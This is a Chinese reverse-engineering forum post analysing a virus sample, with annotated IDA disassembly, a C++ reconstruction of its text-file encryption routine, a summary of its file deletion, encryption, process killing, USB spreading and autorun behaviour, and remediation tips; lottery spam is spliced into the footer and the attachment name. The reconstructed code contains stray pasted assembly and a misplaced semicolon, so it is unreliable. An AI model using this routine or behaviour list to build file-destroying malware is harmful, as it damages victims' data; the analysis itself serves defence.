.text:00403BEF                 mov     eax, ecx        ; eax=(((0x74&mod[t2])^0x39+(k2|mod[t1])&k1)%0xf1)%0xee
.text:00403BF1                 mov     [ebp-1Dh], al
.text:00403BF4
.text:00403BF4 loc_403BF4:                             ; CODE XREF: .text:00403B84↑j
.text:00403BF4                 mov     eax, [ebp-1Ch]  ; eax為待加密數組的第一元素
.text:00403BF7                 lea     edx, [eax+1]    ; edx為待加密數組的下標
.text:00403BFA                 mov     eax, [ebp+0Ch]
.text:00403BFD                 add     eax, edx        ; eax為待加密數組的第二個元素地址,另待加密數組為C
.text:00403BFF                 movzx   eax, byte ptr [eax] ; eax為c[i+1]
.text:00403C02                 test    al, al          ; 是否為結束符
.text:00403C04                 jz      short loc_403C62
.text:00403C06                 mov     eax, [ebp-1Ch]
.text:00403C09                 lea     edx, [eax+1]    ; edx為 c[1]
.text:00403C0C                 mov     eax, [ebp+0Ch]  ; eax為i
.text:00403C0F                 add     eax, edx        ; eax為 c[1+i]的地址
.text:00403C11                 movzx   eax, byte ptr [eax] ; eax為 c[1+i]
.text:00403C14                 movsx   edx, al
.text:00403C17                 movzx   eax, byte ptr [ebp-21h] ; eax為t1
.text:00403C1B                 movzx   eax, byte ptr [ebp+eax-52h] ; eax為mod[t1]
.text:00403C20                 movzx   eax, al
.text:00403C23                 and     edx, eax        ; c[i+1]&mod[t1]
.text:00403C25                 movzx   eax, byte ptr [ebp-22h] ; eax為t2
.text:00403C29                 movzx   eax, byte ptr [ebp+eax-52h] ; eax為mod[t2]
.text:00403C2E                 xor     al, [ebp-1Fh]   ; k3^mod[t2]
.text:00403C31                 movzx   eax, al
.text:00403C34                 add     eax, 26h        ; k3^mod[t2]+0x26
.text:00403C37                 and     eax, 16h        ; (k3^mod[t2]+0x26)&0x16
.text:00403C3A                 mov     ecx, edx
.text:00403C3C                 xor     ecx, eax        ; ((c[i+1]&mod[t1])^0x26
.text:00403C3E                 mov     edx, 0E6C2B449h ; 以下是求模操作,操作數是0x47
.text:00403C43                 mov     eax, ecx
.text:00403C45                 imul    edx
.text:00403C47                 lea     eax, [edx+ecx]
.text:00403C4A                 sar     eax, 6
.text:00403C4D                 mov     edx, eax
.text:00403C4F                 mov     eax, ecx
.text:00403C51                 sar     eax, 1Fh
.text:00403C54                 sub     edx, eax
.text:00403C56                 mov     eax, edx
.text:00403C58                 imul    eax, 47h
.text:00403C5B                 sub     ecx, eax
.text:00403C5D                 mov     eax, ecx
.text:00403C5F                 mov     [ebp-1Eh], al   ; 求模結束
.text:00403C62
.text:00403C62 loc_403C62:                             ; CODE XREF: .text:00403C04↑j
.text:00403C62                 mov     eax, [ebp-1Ch]
.text:00403C65                 lea     edx, [eax+2]    ; edx為c[2]
.text:00403C68                 mov     eax, [ebp+0Ch]  ; eax為i
.text:00403C6B                 add     eax, edx
.text:00403C6D                 movzx   eax, byte ptr [eax] ; eax為c[i+2]
.text:00403C70                 test    al, al          ; 是否為結束符
.text:00403C72                 jz      loc_403D32
.text:00403C78                 mov     eax, [ebp-1Ch]
.text:00403C7B                 lea     edx, [eax+2]
.text:00403C7E                 mov     eax, [ebp+0Ch]
.text:00403C81                 add     eax, edx
.text:00403C83                 movzx   eax, byte ptr [eax] ; eax為c[i+2]
.text:00403C86                 movsx   ebx, al         ; ebx為c[i+2]
.text:00403C89                 movzx   eax, byte ptr [ebp-21h] ; eax為t1
.text:00403C8D                 lea     ecx, [eax+8]    ; ecx為t1+8
.text:00403C90                 mov     edx, 66666667h  ; 求模操作,求模操作數為0x14
.text:00403C95                 mov     eax, ecx
.text:00403C97                 imul    edx
.text:00403C99                 sar     edx, 3
.text:00403C9C                 mov     eax, ecx
.text:00403C9E                 sar     eax, 1Fh
.text:00403CA1                 sub     edx, eax
.text:00403CA3                 mov     eax, edx
.text:00403CA5                 shl     eax, 2
.text:00403CA8                 add     eax, edx
.text:00403CAA                 shl     eax, 2
.text:00403CAD                 sub     ecx, eax
.text:00403CAF                 mov     edx, ecx        ; edx為(t1+8)%0x14
.text:00403CB1                 movzx   eax, byte ptr [ebp+edx-52h] ; eax為mod[(t1+8)%0x14]
.text:00403CB6                 movzx   eax, al
.text:00403CB9                 mov     esi, ebx        ; esi為mod[(t1+8)%0x14]
.text:00403CBB                 and     esi, eax        ; esi為c[i+2]&mod[(t1+8)%0x14]
.text:00403CBD                 movzx   ebx, byte ptr [ebp-1Eh] ; ebx為k2
.text:00403CC1                 movzx   eax, byte ptr [ebp-22h] ; eax為t2
.text:00403CC5                 lea     ecx, [eax+4]    ; ecx為t2+4
.text:00403CC8                 mov     edx, 66666667h  ; 求模操作,求模操作數為0x14
.text:00403CCD                 mov     eax, ecx
.text:00403CCF                 imul    edx
.text:00403CD1                 sar     edx, 3
.text:00403CD4                 mov     eax, ecx
.text:00403CD6                 sar     eax, 1Fh
.text:00403CD9                 sub     edx, eax
.text:00403CDB                 mov     eax, edx
.text:00403CDD                 shl     eax, 2
.text:00403CE0                 add     eax, edx
.text:00403CE2                 shl     eax, 2
.text:00403CE5                 sub     ecx, eax
.text:00403CE7                 mov     edx, ecx        ; edx為(t2+4)%0x14
.text:00403CE9                 movzx   eax, byte ptr [ebp+edx-52h] ; eax為mod[(t2+4)%0x14]
.text:00403CEE                 xor     al, [ebp-1Fh]   ; al為k3^mod[(t2+4)%0x14]
.text:00403CF1                 movzx   eax, al         ; eax為k3^mod[(t2+4)%0x14]
.text:00403CF4                 add     eax, ebx
.text:00403CF6                 and     eax, 99h        ; eax為k3^mod[(t2+4)%0x14])&0x99
.text:00403CFB                 xor     esi, eax
.text:00403CFD                 mov     ecx, esi
.text:00403CFF                 mov     edx, 88888889h  ; 求模操作,求模操作數為0x78
.text:00403D04                 mov     eax, ecx
.text:00403D06                 imul    edx
.text:00403D08                 lea     eax, [edx+ecx]
.text:00403D0B                 sar     eax, 6
.text:00403D0E                 mov     edx, eax
.text:00403D10                 mov     eax, ecx
.text:00403D12                 sar     eax, 1Fh
.text:00403D15                 sub     edx, eax
.text:00403D17                 mov     eax, edx
.text:00403D19                 mov     edx, eax
.text:00403D1B                 lea     eax, ds:0[edx*8]
.text:00403D22                 mov     edx, eax
.text:00403D24                 mov     eax, edx
.text:00403D26                 shl     eax, 4
.text:00403D29                 sub     eax, edx
.text:00403D2B                 sub     ecx, eax
.text:00403D2D                 mov     eax, ecx        ; eax為(k3^mod[(t2+4)%0x14])&0x99)%0x78
.text:00403D2F                 mov     [ebp-1Fh], al   ; k3=(k3^mod[(t2+4)%0x14])&0x99)%0x78
.text:00403D32
.text:00403D32 loc_403D32:                             ; CODE XREF: .text:00403C72↑j
.text:00403D32                 mov     eax, [ebp-1Ch]
.text:00403D35                 lea     edx, [eax+3]
.text:00403D38                 mov     eax, [ebp+0Ch]
.text:00403D3B                 add     eax, edx        ; eax為c[i+3]地址
.text:00403D3D                 movzx   eax, byte ptr [eax] ; eax為c[i+3]
.text:00403D40                 test    al, al          ; 是否為結束符
.text:00403D42                 jz      loc_403DF1      ; 變量d為0x100000
.text:00403D48                 mov     eax, [ebp-1Ch]
.text:00403D4B                 lea     edx, [eax+3]
.text:00403D4E                 mov     eax, [ebp+0Ch]
.text:00403D51                 add     eax, edx        ; eax為c[i+3]地址
.text:00403D53                 movzx   eax, byte ptr [eax] ; eax為c[i+3]
.text:00403D56                 movsx   ebx, al
.text:00403D59                 movzx   eax, byte ptr [ebp-21h] ; eax為t1
.text:00403D5D                 lea     ecx, [eax+0Ah]  ; ecx為t1+10
.text:00403D60                 mov     edx, 66666667h  ; 求模操作,求模操作數為0x14
.text:00403D65                 mov     eax, ecx
.text:00403D67                 imul    edx
.text:00403D69                 sar     edx, 3
.text:00403D6C                 mov     eax, ecx
.text:00403D6E                 sar     eax, 1Fh
.text:00403D71                 sub     edx, eax
.text:00403D73                 mov     eax, edx
.text:00403D75                 shl     eax, 2
.text:00403D78                 add     eax, edx
.text:00403D7A                 shl     eax, 2
.text:00403D7D                 sub     ecx, eax
.text:00403D7F                 mov     edx, ecx        ; edx為(t1+10)%0x14
.text:00403D81                 movzx   eax, byte ptr [ebp+edx-52h] ; eax為mod[(t1+10)%0x14]
.text:00403D86                 movzx   eax, al         ; eax為mod[(t1+10)%0x14]
.text:00403D89                 mov     esi, ebx        ; esi為c[i+3]
.text:00403D8B                 and     esi, eax        ; esi為c[i+3]&mod[(t1+10)%0x14]
.text:00403D8D                 movzx   ebx, byte ptr [ebp-1Fh] ; ebx為k4
.text:00403D91                 movzx   eax, byte ptr [ebp-22h] ; eax為t2
.text:00403D95                 lea     ecx, [eax+0Ch]  ; ecx為t2+12
.text:00403D98                 mov     edx, 66666667h  ; 求模操作,求模操作數為0x14
.text:00403D9D                 mov     eax, ecx        ; eax為(t2+12)
.text:00403D9F                 imul    edx
.text:00403DA1                 sar     edx, 3
.text:00403DA4                 mov     eax, ecx
.text:00403DA6                 sar     eax, 1Fh
.text:00403DA9                 sub     edx, eax
.text:00403DAB                 mov     eax, edx
.text:00403DAD                 shl     eax, 2
.text:00403DB0                 add     eax, edx
.text:00403DB2                 shl     eax, 2
.text:00403DB5                 sub     ecx, eax
.text:00403DB7                 mov     edx, ecx        ; edx為(t2+12)%0x14
.text:00403DB9                 movzx   eax, byte ptr [ebp+edx-52h] ; eax為mod[(t2+12)%0x14]
.text:00403DBE                 and     al, [ebp-20h]   ; k4&mod[(t2+12)%0x14]
.text:00403DC1                 movzx   eax, al
.text:00403DC4                 add     eax, ebx        ; eax為(c[i+3]&mod[(t1+10)%0x14])^k3+(k4&mod[(t2+12)%0x14])&0x16
.text:00403DC6                 and     eax, 16h
.text:00403DC9                 xor     esi, eax
.text:00403DCB                 mov     ecx, esi
.text:00403DCD                 mov     edx, 66666667h  ; 求模操作,求模操作數為0x14
.text:00403DD2                 mov     eax, ecx
.text:00403DD4                 imul    edx
.text:00403DD6                 sar     edx, 3
.text:00403DD9                 mov     eax, ecx
.text:00403DDB                 sar     eax, 1Fh
.text:00403DDE                 sub     edx, eax
.text:00403DE0                 mov     eax, edx
.text:00403DE2                 shl     eax, 2
.text:00403DE5                 add     eax, edx
.text:00403DE7                 shl     eax, 2
.text:00403DEA                 sub     ecx, eax
.text:00403DEC                 mov     edx, ecx        ; edx為((c[i+3]&mod[(t1+10)%0x14])^k3+(k4&mod[(t2+12)%0x14])&0x16)%0x14
.text:00403DEE                 mov     [ebp-20h], dl
.text:00403DF1
.text:00403DF1 loc_403DF1:                             ; CODE XREF: .text:00403D42↑j
.text:00403DF1                 mov     dword ptr [ebp-28h], 100000h ; 變量d為0x100000
.text:00403DF8                 movzx   eax, byte ptr [ebp-1Dh] ; eax為k1
.text:00403DFC                 shl     eax, 8          ; k1<<0x8
.text:00403DFF                 mov     [ebp-2Ch], eax  ; 變量k11為k1<<0x8
.text:00403E02                 movzx   eax, byte ptr [ebp-1Eh] ; eax為k2
.text:00403E06                 shl     eax, 10h        ; k2<<0x10
.text:00403E09                 mov     [ebp-30h], eax  ; 變量k12為k2<<0x10
.text:00403E0C                 movzx   eax, byte ptr [ebp-1Fh] ; eax為k3
.text:00403E10                 shl     eax, 18h        ; k3<<0x18
.text:00403E13                 mov     [ebp-34h], eax  ; 變量k13為k2<<0x18
.text:00403E16                 movzx   eax, byte ptr [ebp-20h] ; eax為k4
.text:00403E1A                 shl     eax, 18h        ; k4<<0x18
.text:00403E1D                 mov     [ebp-38h], eax  ; 變量k14為k4<<0x18
.text:00403E20                 mov     edx, [ebp-2Ch]  ; edx為k11
.text:00403E23                 mov     eax, [ebp-30h]  ; eax為k12
.text:00403E26                 add     edx, eax        ; k11+k12
.text:00403E28                 mov     eax, [ebp-34h]  ; eax為k13
.text:00403E2B                 add     edx, eax        ; k11+k12+k13
.text:00403E2D                 mov     eax, [ebp-38h]  ; eax為k14
.text:00403E30                 add     eax, edx        ; eax為k11+k12+k13+k14
.text:00403E32                 add     [ebp-28h], eax  ; d+=k11+k12+k13+k14
.text:00403E35                 movzx   eax, byte ptr [ebp-23h] ; eax為t3
.text:00403E39                 mov     eax, dword_4BE020[eax*4] ; eax為ARR[t3]
.text:00403E40                 and     eax, [ebp-28h]  ; d&ARR[t3]
.text:00403E43                 mov     ebx, eax
.text:00403E45                 movzx   eax, byte ptr [ebp-23h] ; eax為t3
.text:00403E49                 lea     ecx, [eax+60h]  ; ecx為t3+96
.text:00403E4C                 mov     edx, 80808081h  ; 求模操作,操作數為0xff
.text:00403E51                 mov     eax, ecx
.text:00403E53                 imul    edx
.text:00403E55                 lea     eax, [edx+ecx]
.text:00403E58                 sar     eax, 7
.text:00403E5B                 mov     edx, eax
.text:00403E5D                 mov     eax, ecx
.text:00403E5F                 sar     eax, 1Fh
.text:00403E62                 sub     edx, eax
.text:00403E64                 mov     eax, edx
.text:00403E66                 mov     edx, eax
.text:00403E68                 shl     edx, 8
.text:00403E6B                 sub     edx, eax
.text:00403E6D                 mov     eax, ecx
.text:00403E6F                 sub     eax, edx        ; eax為(t3+96)%0xff
.text:00403E71                 mov     eax, dword_4BE020[eax*4] ; eax為ARR[(t3+96)%0xff]
.text:00403E78                 xor     ebx, eax        ; ebx為(d&ARR[t3])^ARR[(t3+96)%0xff]
.text:00403E7A                 movzx   eax, byte ptr [ebp-23h] ; eax為t3
.text:00403E7E                 lea     ecx, [eax+2Dh]  ; ecx為(t3+45)
.text:00403E81                 mov     edx, 80808081h  ; 求模操作,操作數為0xff
.text:00403E86                 mov     eax, ecx
.text:00403E88                 imul    edx
.text:00403E8A                 lea     eax, [edx+ecx]
.text:00403E8D                 sar     eax, 7
.text:00403E90                 mov     edx, eax
.text:00403E92                 mov     eax, ecx
.text:00403E94                 sar     eax, 1Fh
.text:00403E97                 sub     edx, eax
.text:00403E99                 mov     eax, edx
.text:00403E9B                 mov     edx, eax
.text:00403E9D                 shl     edx, 8
.text:00403EA0                 sub     edx, eax
.text:00403EA2                 mov     eax, ecx
.text:00403EA4                 sub     eax, edx        ; eax為(t3+45)%0xff
.text:00403EA6                 mov     eax, dword_4BE020[eax*4] ; eax為ARR[(t3+45)%0xff]
.text:00403EAD                 xor     eax, ebx        ; eax為(d&ARR[t3])^ARR[(t3+96)%0xff]^ARR[(t3+45)%0xff]
.text:00403EAF                 mov     [ebp-3Ch], eax  ; 變量new_d為(d&ARR[t3])^ARR[(t3+96)%0xff]^ARR[(t3+45)%0xff]
.text:00403EB2                 mov     eax, [ebp-3Ch]
.text:00403EB5                 mov     dword ptr [esp+8], 0Ah ; Radix
.text:00403EBD                 lea     edx, [ebp-94h]
.text:00403EC3                 mov     [esp+4], edx    ; DstBuf
.text:00403EC7                 mov     [esp], eax      ; Val
.text:00403ECA                 call    _itoa           ; 調用函數itoa,把new_d轉換成字符串
.text:00403ECF                 lea     eax, [ebp-3Dh]

隨后根據上面分析的算法,再現文件加密算法:
[C++] 純文本查看 復制代碼
string encrycode(char *c,int len)
{
    byte mod[20]= {0x45,0x89,0x41,0x80,0x42,0x59,0x15,0x46,0x19,0x82,0x10,0x20,0x87,0x45,0x32,0x65,0x55,0x11,0x22,0x33};
    srand((unsigned int)time(NULL));
    int i=0;
    string strbuf="";
    while(i<(len-1)/4+1)
    {
        byte k1=0x35;
        byte k2=0x25;
        byte k3=0x45;
        byte k4=0x55;
        byte t1=rand()%0x14;
        byte t2=rand()%0x14;
        byte t3=rand()%0xff;

 mov     edx, [ebp-1Ch]  ; [ebp-1Ch]為待加密數組的最后元素
  mov     eax, [ebp+0Ch]  ; [ebp+0Ch]為待加密數組的第一個元素

        if(c[i]!='\0');[ebp+0Ch]為待加密數組的第一個元素
            k1=(((0x74&mod[t2])^0x39+(k2|mod[t1])&k1)%0xf1)%0xee;
        if(c[i+1]!='\0')
            k2=((c[i+1]&mod[t1])^0x26+(k3^mod[t2])&0x16)%0x47;
        if(c[i+2]!='\0')
            k3=((c[i+2]&mod[(t1+8)%0x14])^k2+(k3^mod[(t2+4)%0x14])&0x99)%0x78;
        if(c[i+3]!='\0')
            k4=((c[i+3]&mod[(t1+10)%0x14])^k3+(k4&mod[(t2+12)%0x14])&0x16)%0x14;
        DWORD d=0x100000;
        DWORD k11=k1<<0x8;
        DWORD k12=k2<<0x10;
        DWORD k13=k3<<0x18;
        DWORD k14=k4<<0x18;
        d+=k11+k12+k13+k14;
        DWORD new_d=(d&ARR[t3])^ARR[(t3+96)%0xff]^ARR[(t3+45)%0xff];
        char c[40];
        itoa(new_d,c,10);
        string s=c;
        strbuf+=s;
        i++;
    }
    return strbuf;
}


2.惡意行為分析
1.OD加載病毒,可以看到三個全局變量,分別為病毒名和自啟動文件名,用ida分析病毒的惡意行為,先看winproc函數,可以看到幾個惡意函數






2.當發送窗口新建信息時,程序獲取病毒自身路徑和桌面路徑,隨后刪除桌面上的doc文件和docx文件




3.接著對txt文件進行加密處理,加密的時候先讀取txt文件內容,然后進行加密,加密后寫入加密后的內容

4.接著殺死某些調式類進程和安全進程,但無法殺死管理員權限下運行的進程








5.在桌面上制造垃圾,先是新建然后往里面寫入內容

6.當系統盤上的病毒運行時,則會檢測是否插入U盤,插入的話,則把病毒拷到U盤中,否則把病毒拷到系統盤中





7.當把病毒拷到系統盤時,設置注冊表值,另其自啟動,接著判斷病毒是否運行,如果沒有,則運行病毒




解決方案:
1.刪除注冊表中,自啟動的內容,刪除自啟動文件,惡意軟件,使用磁盤文件修復軟件修復已刪除文件
2.養成對桌面文件進行備注的習慣。
3.刪除系統盤中的病毒文件或者修改該病毒的文件名,經分析發現,修改該病毒的文件名可以防止該病毒拷貝到系統盤中
4.不要下載不知名的軟件,或者瀏覽一些不知名的網站。
5.分析我在上面寫的文件加密算法,寫出文件的解密算法。

   

圖片.png (54.4 KB, 下載次數: 0)

圖片.png

病毒樣本.rar

广西快三250.22 KB, 下載次數: 12, 下載積分: 吾愛幣 -1 CB

免費評分

參與人數 27吾愛幣 +25 熱心值 +25 收起 理由
SinnerDusk + 1 + 1 歡迎分析討論交流,吾愛破解論壇有你更精彩!
清炒藕片丶 + 1 + 1 支持下大佬
fei8255 + 1 + 1 謝謝@Thanks!
不諳世事的騷年 + 1 + 1 熱心回復!
溫柔的一哥 + 1 + 1 熱心回復!
ZhengJL1008 + 1 + 1 用心討論,共獲提升!
奕余君 + 1 大佬你也太強了叭
gongcsxue + 1 + 1 謝謝@Thanks!
soyiC + 1 + 1 用心討論,共獲提升!
自強 + 1 + 1 鼓勵轉貼優秀軟件安全工具和文檔!
安尼大大 + 1 + 1 我很贊同!
遲變生、 + 1 + 1 學習了
安天 + 1 我很贊同!大佬分析花了很多時間,這個超級詳細,雖然有點不太懂
JANlittle + 1 + 1 感謝發布原創作品,吾愛破解論壇因你更精彩!
a421395810 + 1 + 1 鼓勵轉貼優秀軟件安全工具和文檔!
dvvnv + 1 我很贊同!
chenyu66 + 1 + 1 我很贊同!
qq3bot + 1 + 1 謝謝@Thanks!
生有涯知無涯 + 1 用心討論,共獲提升!
lies2014 + 1 + 1 用心討論,共獲提升!
Li1y + 1 + 1 我很贊同!
FleTime + 1 + 1 感謝發布原創作品,吾愛破解論壇因你更精彩!
gh0st_ + 1 + 1 鼓勵轉貼優秀軟件安全工具和文檔!
a767421378 + 1 + 1 鼓勵轉貼優秀軟件安全工具和文檔!
奇偶君 + 1 + 1 我很贊同!
zhangchang + 1 + 1 熱心回復!
我的愛是你 + 1 + 1 鼓勵轉貼優秀軟件安全工具和文檔!

查看全部評分

發帖前要善用論壇搜索功能,那里可能會有你要找的答案或者已經有人發布過相同內容了,請勿重復發帖。

推薦
 樓主| buzhifou01 發表于 2020-2-18 11:01 <
cbcweb 發表于 2020-2-17 00:56
自己故意寫個能溢出的漏洞,然后利用這個漏洞來執行shellcode?為了逃避殺軟?

是的,該病毒通過shellcode攻擊系統,并且可以逃避大多數殺軟。
推薦
cbcweb 發表于 2020-2-17 00:56
自己故意寫個能溢出的漏洞,然后利用這個漏洞來執行shellcode?為了逃避殺軟?
沙發
Li1y 發表于 2020-2-16 20:28
3#
lies2014 發表于 2020-2-16 20:34
很詳細,學習了
4#
夜步城 發表于 2020-2-16 20:42
很厲害,來學習一下
5#
xfirce 發表于 2020-2-16 23:13
膜拜大神,學習了,謝謝。
6#
chen556656 發表于 2020-2-17 00:07
學習了,膜拜大神
8#
RookieHNico 發表于 2020-2-17 10:04
太高深了,樓主寫的很詳細,很耐心!贊
9#
remote_silence 發表于 2020-2-17 11:03
給力!! 感謝分享!
10#
Joyen 發表于 2020-2-17 13:28
膜拜大神
您需要登錄后才可以回帖 登錄 | 注冊[Register]

本版積分規則 警告:本版塊禁止灌水或回復與主題無關內容,違者重罰!

快速回復 收藏帖子 返回列表 搜索

RSS訂閱|小黑屋|聯系我們|吾愛破解 - LCG - LSG ( )

GMT+8, 2020-4-3 13:11

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回復 返回頂部 返回列表
安徽快3-推荐 重庆快3-Welcome 北京快3-欢迎您 上海快3-Home 湖北快3-安全购彩 湖南快3-广西快三 河北快3-推荐 大发11选5-推荐 河南快3-Welcome 广东快3-Home